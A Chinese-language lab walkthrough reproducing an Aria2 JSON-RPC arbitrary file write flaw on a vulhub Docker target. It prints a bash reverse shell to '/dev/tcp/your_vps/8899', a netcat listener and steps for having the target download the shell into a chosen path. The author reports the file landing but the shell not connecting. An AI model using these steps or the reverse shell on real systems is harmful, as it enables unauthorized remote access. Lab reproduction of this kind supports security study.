0x00 实验环境
攻击机：Win 10
靶机也可作为攻击机：Ubuntu18 （docker搭建的vulhub靶场）
0x01 影响版本
影响版本：6800端口，存在/jsonrpc文件时
漏洞简介：Aria2是一个命令行下轻量级、多协议、多来源的下载工具（支持 HTTP/HTTPS、FTP、BitTorrent、Metalink），内建XML-RPC和JSON-RPC接口。在有权限的情况下，我们可以使用RPC接口来操作aria2来下载文件，将文件下载至任意目录，造成一个任意文件写入漏洞
0x02 漏洞复现
（1）访问页面：
扫描端口发现，（注意这里的版本信息：aria2 downloader JSON-RPC）
（2）这里复现需要使用到一款轻量级的web写入工具：
http://binux.github.io/yaaw/demo/
（3）在使用之前，需要自己搭建一个服务器，同时放入（将shell文件放在www目录下）需要反弹的shell文件（这里我是使用python2启动一个简单的web服务，到时候远程访问的时候就可以下载写入）：
#!/bin/bash
/bin/bash -i >& /dev/tcp/your_vps/8899 0>&1
#换行是必须地
（4）首先手动测试一下这个shell能否反弹成功：（反弹成功！！！）
（5）然后我们开始进入复现的正题：
在攻击机开启监听：
nc -lvvp 8899
点击setting添加新增并且设置下载任务，填写shell的url，及受害主机shell文件的存储路径
去肉鸡查看，文件是有写入的，只是shell没有正常反弹过来：
没有反弹过来也可能是因为shell的执行权限不够：
其实也可以自己手动弹，但是我始终没有找到一个好的办法来反弹shell，等遇到这种漏洞的时候再说。